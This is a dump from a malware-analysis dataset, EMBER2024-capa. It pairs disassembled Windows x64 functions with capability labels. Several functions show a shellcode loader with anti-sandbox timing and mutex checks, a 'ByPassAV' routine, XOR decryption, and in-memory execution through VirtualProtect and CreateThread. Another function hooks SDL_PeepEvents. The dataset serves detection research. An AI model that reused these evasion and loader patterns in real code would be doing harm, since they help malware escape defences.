joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400218d0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x14003b020]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rdx
mov r14, rcx
lea r15, [rdx + 0x10]
xor r12d, r12d
mov qword [r15], r12
mov rax, rdx
cmp qword [rdx + 0x18], 8
jb 0x140021912
mov rax, qword [rdx]
mov word [rax], r12w
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], r12
mov word [rsp + 0x20], r12w
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test eax, eax
jne 0x140021977
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x140021a95
test eax, eax
jle 0x140021960
movzx eax, ax
or eax, 0x80070000
mov r8d, eax
mov rdx, r14
lea rcx, str.Failed_to_read_environment_variable___s___HRESULT:_0x_X
call fcn.140020e70
jmp 0x140021a95
mov eax, 2
mul rdi
mov rbx, 0xffffffffffffffff
cmovo rax, rbx
mov rcx, rax
call fcn.14002a8cc
mov rbp, rax
mov r8d, edi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x140021943
nop dword [rax + rax]
inc rbx
cmp word [rbp + rbx*2], 0
jne 0x1400219b0
mov rax, qword [rsp + 0x38]
cmp rbx, rax
ja 0x1400219f1
lea rdi, [rsp + 0x20]
cmp rax, 8
cmovae rdi, qword [rsp + 0x20]
mov qword [rsp + 0x30], rbx
add rbx, rbx
mov r8, rbx
mov rdx, rbp
mov rcx, rdi
call fcn.14002bec0
mov word [rbx + rdi], r12w
jmp 0x140021a01
mov r9, rbp
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14001f990
mov rcx, rbp
call fcn.14002a600
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140026200
test al, al
je 0x140021a75
lea rax, [rsp + 0x20]
cmp rsi, rax
je 0x140021a71
lea r9, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae r9, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsi + 0x18]
cmp rbx, rax
ja 0x140021a66
cmp rax, 8
jb 0x140021a4b
mov rsi, qword [rsi]
mov qword [r15], rbx
lea r8, [rbx + rbx]
mov rdx, r9
mov rcx, rsi
call fcn.14002bec0
mov word [rsi + rbx*2], r12w
mov bl, 1
jmp 0x140021a97
mov rdx, rbx
mov rcx, rsi
call fcn.14001f990
mov bl, 1
jmp 0x140021a97
lea r8, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae r8, qword [rsp + 0x20]
mov rdx, r14
lea rcx, str.Did_not_find___s__directory___s_
call fcn.140020a80
xor bl, bl
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140021adc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021ad7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021ad7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002a600
movzx eax, bl
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14002a5e0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140025ac0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x14003b020]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r14, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor ebp, ebp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], bp
movzx eax, byte [str.d38cc827_e34f_4453_9df4_1e796e9f1d07]
cmp al, 0x65
jne 0x140025b61
mov qword [rsp + 0x30], rbp
mov word [rsp + 0x20], bp
xor r8d, r8d
xor edx, edx
lea rcx, str._DOTNET_TEST_GLOBALLY_REGISTERED_PATH
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test eax, eax
jne 0x140025bbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x140025b61
test eax, eax
jle 0x140025b4b
movzx eax, ax
or eax, 0x80070000
mov r8d, eax
lea rdx, str._DOTNET_TEST_GLOBALLY_REGISTERED_PATH
lea rcx, str.Failed_to_read_environment_variable___s___HRESULT:_0x_X
call fcn.140020e70
mov rdx, r14
mov ecx, 7
call fcn.140025ce0
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140025cb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025cb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025cb2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, 2
mul rdi
mov rbx, 0xffffffffffffffff
cmovo rax, rbx
mov rcx, rax
call fcn.14002a8cc
mov rsi, rax
mov r8d, edi
mov rdx, rax
lea rcx, str._DOTNET_TEST_GLOBALLY_REGISTERED_PATH
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x140025b32
inc rbx
cmp word [rsi + rbx*2], 0
jne 0x140025bf6
mov rax, qword [rsp + 0x38]
cmp rbx, rax
ja 0x140025c35
lea rdi, [rsp + 0x20]
cmp rax, 8
cmovae rdi, qword [rsp + 0x20]
mov qword [rsp + 0x30], rbx
add rbx, rbx
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14002bec0
mov word [rbx + rdi], bp
jmp 0x140025c45
mov r9, rsi
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14001f990
mov rcx, rsi
call fcn.14002a600
lea rax, [rsp + 0x20]
cmp r14, rax
je 0x140025cab
lea r9, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae r9, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
mov rax, qword [r14 + 0x18]
cmp rbx, rax
ja 0x140025ca0
mov rdi, r14
cmp rax, 8
jb 0x140025c82
mov rdi, qword [r14]
mov qword [r14 + 0x10], rbx
lea r8, [rbx + rbx]
mov rdx, r9
mov rcx, rdi
call fcn.14002bec0
mov word [rdi + rbx*2], bp
mov bl, 1
jmp 0x140025b71
mov rdx, rbx
mov rcx, r14
call fcn.14001f990
mov bl, 1
jmp 0x140025b71
call fcn.14002a600
movzx eax, bl
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14002a5e0
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x14002b160
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002b1aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002b1aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002b1aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002b1aa
cmp dword [rcx + 0x84], 0xe
jbe 0x14002b1aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002b1ac
xor al, al
add rsp, 0x28
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000bcd0]
mov dword [rax], 1
mov rax, qword [0x14000bce0]
mov dword [rax], 1
mov rax, qword [0x14000bcf0]
mov dword [rax], 1
mov rax, qword [0x14000bc80]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016c0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Get system information on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x58
lea rcx, str.fuckyou.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400016dd
call sym.ByPassAV.constprop.0.isra.0
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
mov ecx, 0x3e8
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rsi
sub eax, ebx
cmp eax, 0x3e7
jle 0x140001760
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 1
jle 0x140001780
mov ecx, 0x5f5e100
call sym.malloc
mov rcx, rax
test rax, rax
je 0x140001727
call sym.free
pushfq
mov rax, 0x100
and qword [rsp], rax
popfq
xor ecx, ecx
lea r8, str.FakeMutex
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001770
add rsp, 0x58
pop rbx
pop rsi
ret
call sym.ByPassAV.constprop.0.isra.0
jmp 0x1400016fe
call sym.ByPassAV.constprop.0.isra.0
nop
add rsp, 0x58
pop rbx
pop rsi
ret
call sym.ByPassAV.constprop.0.isra.0
jmp 0x140001710
Function at 0x140001790
Capabilities:
Enumerate processes
Print debug messages

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
xor edx, edx
mov r12, rcx
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001830
lea rsi, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x130
mov rdx, rsi
call sym.Process32First
test eax, eax
je 0x140001808
mov rdi, qword [sym.imp.msvcrt.dll__stricmp]
lea rbp, [rsp + 0x4c]
jmp 0x1400017ef
mov rdx, rsi
mov rcx, rbx
call sym.Process32Next
test eax, eax
je 0x140001808
mov rdx, r12
mov rcx, rbp
call rdi
test eax, eax
jne 0x1400017e0
mov esi, dword [rsp + 0x28]
jmp 0x14000180d
mov esi, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov esi, 0xffffffff
lea rcx, str.CreateToolhelp32Snapshot_error
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, esi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400018c0
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov esi, edx
mov rdi, rcx
call sym.xor_encrypt_decrypt
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.kernel32Handle
mov rbx, rax
test rax, rax
je 0x1400019c6
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAlloc
mov rcx, rax
call r12
lea rdx, str.VirtualProtect
mov rcx, rbx
mov rbp, rax
call r12
lea rdx, str.MyVirtualAlloc
mov r12, rax
test rbp, rbp
je 0x1400019c6
test rax, rax
je 0x1400019bf
movsxd rbx, esi
mov r9d, 4
xor ecx, ecx
mov r8d, 0x3000
mov rdx, rbx
call rbp
mov r8, rbx
mov rdx, rdi
mov rsi, rax
mov rcx, rax
call sym.memcpy
lea r9, [rsp + 0x3c]
mov rdx, rbx
mov rcx, rsi
mov r8d, 0x10
call r12
test eax, eax
je 0x1400019a7
lea rcx, str.Ok_now_
call sym.printf
xor r9d, r9d
mov r8, rsi
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
call sym.ByPassAV.constprop.0.isra.0
jmp 0x1400019a0
lea rcx, str.VirtualProtect_fails_n
call sym.printf
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rdx, str.MyVirtualProtect
lea rcx, str._s_is_NULL_n
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.printf
Function at 0x140001dd0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x420
lea rcx, str.WINDIR
call sym.getenv
mov r9, rax
test rax, rax
je 0x140001e60
lea rbx, [rsp + 0x20]
lea r8, str._s_system32kernel32.dll
mov edx, 0x400
mov rcx, rbx
call sym.snprintf.constprop.0
mov rcx, rbx
lea rdx, [0x14000b188]
call sym.fopen
mov rbx, rax
test rax, rax
je 0x140001e40
lea rcx, [0x14000b18b]
call sym.printf
mov rcx, rbx
call sym.fclose
mov eax, 1
add rsp, 0x420
pop rbx
ret
lea rcx, [0x14000b19f]
call sym.printf
xor eax, eax
add rsp, 0x420
pop rbx
ret
lea rcx, str._n
call sym.printf
xor eax, eax
jmp 0x140001e4e

Function at 0x140001e70
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Get system information on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, rcx
mov esi, edx
lea rcx, str.fuckyou.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001e99
mov edx, esi
mov rcx, rbx
call sym.ByPassAV
mov rbp, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbp
mov ecx, 0x3e8
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbp
sub eax, edi
cmp eax, 0x3e7
jle 0x140001f30
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 1
jle 0x140001f58
mov ecx, 0x5f5e100
call sym.malloc
mov rcx, rax
test rax, rax
je 0x140001ee7
call sym.free
pushfq
mov rax, 0x100
and qword [rsp], rax
popfq
mov edx, 1
lea r8, str.FakeMutex
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, 1
cmp edx, 0xb7
je 0x140001f40
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, esi
mov rcx, rbx
call sym.ByPassAV
jmp 0x140001eba
mov edx, esi
mov rcx, rbx
call sym.ByPassAV
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, esi
mov rcx, rbx
call sym.ByPassAV
jmp 0x140001ed0

Function at 0x140002380
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140003052
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f108]
test eax, eax
je 0x1400030ea
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f110]
mov qword [rbp - 8], rax
jmp 0x1400030ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400030c2
cmp qword [rbp - 0x10], 0
je 0x1400030c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003088
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400030eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400031f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003218
mov eax, 0
jmp 0x140003266
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140003241
mov eax, 0
jmp 0x140003266
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003261
mov eax, 0
jmp 0x140003266
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000326c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400032ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400032e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400032e1
mov rax, qword [rbp - 8]
jmp 0x1400032ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400032b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180003000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov rax, qword gs:[0x60]
mov rbp, rdx
mov r14, rcx
mov rsi, qword [rax + 0x18]
add rsi, 0x10
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1800030a6
movzx ebx, word [rdi + 0x58]
xor eax, eax
shr rbx, 1
je 0x180003095
mov r10, qword [rdi + 0x60]
nop dword [rax]
nop dword [rax + rax]
movzx edx, word [r10]
movsx r11d, byte [rax + rbp]
movzx r9d, r11w
lea ecx, [rdx - 0x61]
cmp cx, 0x19
lea r8d, [rdx - 0x20]
lea ecx, [r9 - 0x61]
cmova r8w, dx
cmp cx, 0x19
lea edx, [r9 - 0x20]
cmova dx, r11w
cmp r8w, dx
jne 0x18000309e
test r11b, r11b
je 0x18000309e
inc rax
add r10, 2
cmp rax, rbx
jb 0x180003050
mov rax, qword [rdi + 0x30]
mov qword [r14], rax
jmp 0x1800030ad
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x180003035
mov qword [r14], 0
mov rbx, qword [rsp + 0x10]
mov rax, r14
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
Function at 0x180007ef0
Capabilities:
Parse pe header

Disassembly:
push rbx
push r13
sub rsp, 0x18
mov r11, qword [rcx]
xor r9d, r9d
mov r13, r8
mov rbx, rdx
test r11, r11
je 0x180008029
mov qword [rsp + 0x30], rbp
mov eax, 0x5a4d
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x10], r12
mov qword [rsp + 8], r14
mov qword [rsp], r15
cmp word [r11], ax
jne 0x180007ffe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
cmp dword [rax], 0x4550
cmovne rax, r9
test rax, rax
je 0x180007ffe
add rax, 0x18
mov ecx, 0x20b
cmp word [rax], cx
jne 0x180007ffe
test rax, rax
je 0x180007ffe
cmp dword [rax + 0x6c], r9d
jbe 0x180007ffe
lea r14, [rax + 0x70]
test r14, r14
je 0x180007ffe
mov r15d, dword [r14]
mov r10d, r9d
mov edi, dword [r11 + r15 + 0x18]
lea rsi, [r11 + r15]
test edi, edi
je 0x180007ffe
mov r12d, dword [rsi + 0x20]
nop dword [rax]
mov ebp, r10d
mov r8, r13
lea rax, [r12 + rbp*4]
mov eax, dword [rax + r11]
add rax, r11
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180007fc7
inc rax
test ecx, ecx
jne 0x180007fb4
test edx, edx
je 0x180007fd5
inc r10d
cmp r10d, edi
jb 0x180007fa0
jmp 0x180007ffe
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + rbp*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov r8d, dword [rcx + rdx*4]
cmp r8d, r15d
jb 0x180007ffa
mov eax, r8d
sub eax, r15d
cmp eax, dword [r14 + 4]
jb 0x180007ffe
lea r9, [r11 + r8]
mov qword [rbx], r9
mov rax, rbx
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r12, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
add rsp, 0x18
pop r13
pop rbx
ret
mov qword [rdx], r9
mov rax, rbx
add rsp, 0x18
pop r13
pop rbx
ret

Function at 0x180008480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r9, qword [rcx]
mov rbx, rdx
xor edx, edx
mov rdi, rcx
test r9, r9
je 0x18000851f
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x180008500
movsxd r8, dword [r9 + 0x3c]
add r8, r9
cmp dword [r8], 0x4550
cmovne r8, rdx
test r8, r8
je 0x180008500
movzx ecx, word [r8 + 0x14]
movzx eax, word [r8 + 6]
add rcx, 0x18
add rcx, r8
lea rax, [rax + rax*4]
lea r8, [rcx + rax*8]
cmp rcx, r8
je 0x180008500
nop
test dword [rcx + 0x24], 0x40000000
je 0x1800084f7
cmp dword [rcx], 0x7461642e
jne 0x1800084f7
cmp byte [rcx + 4], 0x61
je 0x180008514
add rcx, 0x28
cmp rcx, r8
jne 0x1800084e0
mov qword [rbx + 8], rdx
mov rax, rdx
mov ecx, 8
mov r9, rbx
add r9, rcx
jmp 0x180008526
mov eax, dword [rcx + 0xc]
mov edx, dword [rcx + 8]
add rax, r9
jmp 0x180008507
lea r9, [rbx + 8]
mov rax, rdx
mov qword [rbx], rax
mov rcx, rdi
mov qword [r9], rdx
lea rdx, [rbx + 0x10]
call fcn.180008550
mov rax, qword [rdi]
mov qword [rbx + 0x20], rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180008550
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r10, qword [rcx]
xor r8d, r8d
test r10, r10
je 0x1800085e5
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x1800085c2
movsxd rcx, dword [r10 + 0x3c]
add rcx, r10
cmp dword [rcx], 0x4550
cmovne rcx, r8
test rcx, rcx
je 0x1800085c2
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
movzx ecx, word [rcx + 6]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8]
cmp rax, r9
je 0x1800085c2
nop dword [rax]
test dword [rax + 0x24], 0x40000000
je 0x1800085b9
cmp dword [rax], 0x6164722e
jne 0x1800085b9
cmp word [rax + 4], 0x6174
je 0x1800085d9
add rax, 0x28
cmp rax, r9
jne 0x1800085a0
mov qword [rdx + 8], r8
mov rcx, r8
mov eax, 8
mov qword [rdx], rcx
mov qword [rax + rdx], r8
mov rax, rdx
ret
mov ecx, dword [rax + 0xc]
mov r8d, dword [rax + 8]
add rcx, r10
jmp 0x1800085c9
mov qword [rdx], r8
mov rax, rdx
mov qword [rdx + 8], r8
ret
Function at 0x180009f80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x58
cmp qword [0x180016028], 0
jne 0x18000a188
mov qword [rsp + 0x70], rbx
lea rdx, str.SDL3.dll
mov qword [rsp + 0x50], rdi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], rsi
call fcn.180003000
mov rax, qword [rsp + 0x60]
xor ebx, ebx
test rax, rax
je 0x18000a02b
mov edx, 0x5a4d
mov rcx, rax
cmp word [rax], dx
cmovne rcx, rbx
test rcx, rcx
je 0x18000a02b
movsxd r8, dword [rcx + 0x3c]
add r8, rax
cmp dword [r8], 0x4550
cmovne r8, rbx
test r8, r8
je 0x18000a02b
movzx edx, word [r8 + 0x14]
movzx ecx, word [r8 + 6]
add rdx, 0x18
add rdx, r8
lea rcx, [rcx + rcx*4]
lea r8, [rdx + rcx*8]
cmp rdx, r8
je 0x18000a02b
test dword [rdx + 0x24], 0x20000000
je 0x18000a022
cmp dword [rdx], 0x7865742e
jne 0x18000a022
cmp byte [rdx + 4], 0x74
je 0x18000a0d5
add rdx, 0x28
cmp rdx, r8
jne 0x18000a007
mov rdi, rbx
mov rsi, rbx
lea rcx, [0x1800165e8]
mov qword [0x1800165e8], 0xf4240
mov qword [0x180016030], rcx
lea r8, str.SDL_PeepEvents
lea rcx, [rsp + 0x60]
mov qword [0x1800165f0], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x60], rax
call fcn.180007ef0
mov rdx, qword [rax]
cmp rdx, rdi
jb 0x18000a159
cmp rsi, 7
jb 0x18000a159
mov rcx, rdx
lea rax, [rsi - 7]
sub rcx, rdi
cmp rcx, rax
ja 0x18000a159
lea r8, [0x180014020]
mov rcx, rdx
sub r8, rdx
movzx eax, byte [r8 + rcx]
cmp byte [rcx], al
je 0x18000a0af
cmp al, 0x3f
jne 0x18000a0e3
inc rcx
mov rax, rcx
sub rax, rdx
cmp rax, 7
jb 0x18000a0a2
mov al, 1
test al, al
je 0x18000a159
test rdx, rdx
je 0x18000a0e7
mov rcx, rdx
sub rcx, rdi
jmp 0x18000a0f0
mov edi, dword [rdx + 0xc]
mov esi, dword [rdx + 8]
add rdi, rax
jmp 0x18000a031
xor al, al
jmp 0x18000a0c0
mov rcx, rbx
mov rdi, rbx
mov rdx, rbx
test rdi, rdi
je 0x18000a159
mov r8d, 3
movsxd rax, dword [rdx + r8]
add rax, rcx
mov qword [0x180016040], rbx
add rax, rdi
mov byte [0x1800165e0], 0
lea rcx, [r8 + 4]
add rcx, rax
lea rax, [0x180016030]
mov qword [0x180016028], rax
mov qword [0x180016038], rcx
je 0x18000a179
mov rax, qword [rcx]
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x50]
mov qword [0x180016040], rax
lea rax, [0x18000f0c3]
mov qword [rcx], rax
add rsp, 0x58
ret
xorps xmm0, xmm0
mov byte [0x1800165e0], 0
lea rax, [0x180016030]
movdqu xmmword [0x180016038], xmm0
